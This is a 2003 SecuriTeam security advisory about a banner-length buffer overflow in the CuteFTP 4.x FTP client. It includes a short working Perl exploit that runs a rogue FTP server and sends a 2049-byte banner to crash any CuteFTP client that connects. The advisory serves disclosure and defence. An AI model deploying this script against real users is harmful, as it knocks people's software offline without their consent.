[NT] CuteFTP Banner Buffer Overflow
From: support@securiteam.com
Date: 01/05/03
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From: support@securiteam.com To: list@securiteam.com Date: 5 Jan 2003 12:19:31 +0200
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CuteFTP Banner Buffer Overflow
------------------------------------------------------------------------
SUMMARY
<http://www.CuteFTP.com> CuteFTP is a Windows based File Transfer
Protocol (FTP) client that allows users to utilize the capabilities of FTP
without having to know all the details of the protocol itself. CuteFTP
simplifies FTP by offering a user-friendly Windows interface instead of a
cumbersome command line utility. CuteFTP gives novice PC users the ability
to upload, download and edit files on remote FTP servers around the world.
A client side vulnerability in the product allows remote servers to cause
the client to crash by sending it a large banner.
DETAILS
Vulnerable systems:
* CuteFTP version 4.x
It's possible to crash CuteFTP by sending long (more than 2048 bytes) FTP
banner to it.
Exploit:
#!/usr/bin/perl
######################################################
#Here is an example of ftp-server. It will freeze each
#CuteFTP-user, that try to connect to it.
#######################################################
use IO::Socket;
$port = "21";
$data = "a";
$num = "2049";
$buf .= $data x $num;
$server = IO::Socket::INET->new(LocalPort => $port, Type => SOCK_STREAM,
Reuse => 1, Listen => 2)
or die "Couldn't create tcp-server.\n";
while ($client = $server->accept()) {
print "Client connected.\n";
print "Attacking...";
print $client "$buf";
print "OK\n";
close($client);
}
#EOF
ADDITIONAL INFORMATION
The information has been provided by <mailto:grey_1999@mail.ru> D4rkGr3y.
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